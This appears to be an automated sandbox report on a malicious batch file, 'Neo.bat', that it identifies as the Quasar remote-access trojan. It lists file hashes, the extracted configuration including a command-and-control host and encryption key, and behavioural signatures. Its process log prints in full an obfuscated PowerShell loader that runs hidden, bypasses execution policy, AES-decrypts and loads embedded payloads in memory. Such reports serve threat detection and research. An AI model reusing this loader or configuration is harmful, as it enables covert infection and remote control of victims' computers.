Analysis

  • max time kernel
    91s
  • max time network
    93s
  • platform
    windows11-21h2_x64
  • resource
    win11-20240611-en
  • resource tags

    arch:x64arch:x86image:win11-20240611-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    28-06-2024 23:55

General

  • Target

    Neo.bat

  • Size

    272KB

  • MD5

    7e4958f049e5dac26748252f3447d3a3

  • SHA1

    ee9dcf7b4eb963547edc6adb524e70a20a29aa03

  • SHA256

    afd1e3df846e293a28e0cbf7c2d75d14b2741870f4f4d9821a52eb8444ccf182

  • SHA512

    b0c40b52ae2543dad9db1b6dd1bd3b13407843715ad0f419d7520b90bb4aed6235187a9baf1bbe7b852c4e39911e65150ef28455a8e52225bc04ab4b8bc39160

  • SSDEEP

    6144:l73aNpEWlF7vxuEGAM5sfaHX+Of9iGUfKNjkXtYEgXoTb2k:lLmEWJjMi0X3ViGUf8ctVaY

Malware Config

Extracted

Family

quasar

Version

1.1.0

Botnet

Slave

C2

runderscore00-42512.portmap.io:42512

Mutex

QSR_MUTEX_aYgVTolyJfnSo2kPQj

Attributes
  • encryption_key

    Yf65C7zFbniWDCy7fhUm

  • install_name

    Client.exe

  • log_directory

    Logs

  • reconnect_delay

    3000

  • startup_key

    Quasar Client Startup

  • subdirectory

    SubDir

Signatures

  • Quasar RAT

    Quasar is an open source Remote Access Tool.

  • Quasar payload 1 IoCs
  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Program crash 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Neo.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3180
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('/3Efcn+SDEpJR1JenkZ6Rs7BtpqldOJo1ZPEc5aK6j4='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('caD4PIX78HWMO7N++ZAzJA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $hEySi=New-Object System.IO.MemoryStream(,$param_var); $iTdjt=New-Object System.IO.MemoryStream; $eJQAi=New-Object System.IO.Compression.GZipStream($hEySi, [IO.Compression.CompressionMode]::Decompress); $eJQAi.CopyTo($iTdjt); $eJQAi.Dispose(); $hEySi.Dispose(); $iTdjt.Dispose(); $iTdjt.ToArray();}function execute_function($param_var,$param2_var){ $PuVCg=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $yPbYO=$PuVCg.EntryPoint; $yPbYO.Invoke($null, $param2_var);}$xkpDo = 'C:\Users\Admin\AppData\Local\Temp\Neo.bat';$host.UI.RawUI.WindowTitle = $xkpDo;$FaHLG=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($xkpDo).Split([Environment]::NewLine);foreach ($CebJO in $FaHLG) { if ($CebJO.StartsWith(':: ')) { $KEPuw=$CebJO.Substring(3); break; }}$payloads_var=[string[]]$KEPuw.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      PID:4412
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -u -p 4412 -s 2808
        3⤵
        • Program crash
        PID:5016
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -u -p 4412 -s 2808
        3⤵
        • Program crash
        PID:3088
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 416 -p 4412 -ip 4412
    1⤵
      PID:1076
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -pss -s 504 -p 4412 -ip 4412
      1⤵
        PID:3092

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_po5c0zso.sln.ps1

        Filesize

        60B

        MD5

        d17fe0a3f47be24a6453e9ef58c94641

        SHA1

        6ab83620379fc69f80c0242105ddffd7d98d5d9d

        SHA256

        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

        SHA512

        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      • memory/4412-17-0x00000000060F0000-0x000000000610E000-memory.dmp

        Filesize

        120KB

      • memory/4412-2-0x0000000074680000-0x0000000074E31000-memory.dmp

        Filesize

        7.7MB

      • memory/4412-19-0x0000000007930000-0x0000000007FAA000-memory.dmp

        Filesize

        6.5MB

      • memory/4412-4-0x0000000074680000-0x0000000074E31000-memory.dmp

        Filesize

        7.7MB

      • memory/4412-5-0x0000000005350000-0x0000000005372000-memory.dmp

        Filesize

        136KB

      • memory/4412-7-0x0000000005BF0000-0x0000000005C56000-memory.dmp

        Filesize

        408KB

      • memory/4412-6-0x00000000053F0000-0x0000000005456000-memory.dmp

        Filesize

        408KB

      • memory/4412-1-0x0000000002D40000-0x0000000002D76000-memory.dmp

        Filesize

        216KB

      • memory/4412-20-0x00000000072B0000-0x00000000072CA000-memory.dmp

        Filesize

        104KB

      • memory/4412-0-0x000000007468E000-0x000000007468F000-memory.dmp

        Filesize

        4KB

      • memory/4412-30-0x0000000074680000-0x0000000074E31000-memory.dmp

        Filesize

        7.7MB

      • memory/4412-3-0x00000000055C0000-0x0000000005BEA000-memory.dmp

        Filesize

        6.2MB

      • memory/4412-16-0x0000000005D10000-0x0000000006067000-memory.dmp

        Filesize

        3.3MB

      • memory/4412-21-0x00000000072E0000-0x00000000072E8000-memory.dmp

        Filesize

        32KB

      • memory/4412-22-0x00000000073D0000-0x000000000746C000-memory.dmp

        Filesize

        624KB

      • memory/4412-23-0x0000000007580000-0x00000000075B4000-memory.dmp

        Filesize

        208KB

      • memory/4412-24-0x00000000075B0000-0x000000000760E000-memory.dmp

        Filesize

        376KB

      • memory/4412-25-0x0000000008560000-0x0000000008B06000-memory.dmp

        Filesize

        5.6MB

      • memory/4412-26-0x0000000007720000-0x00000000077B2000-memory.dmp

        Filesize

        584KB

      • memory/4412-27-0x0000000005080000-0x0000000005092000-memory.dmp

        Filesize

        72KB

      • memory/4412-28-0x0000000008100000-0x000000000813C000-memory.dmp

        Filesize

        240KB

      • memory/4412-18-0x0000000006130000-0x000000000617C000-memory.dmp

        Filesize

        304KB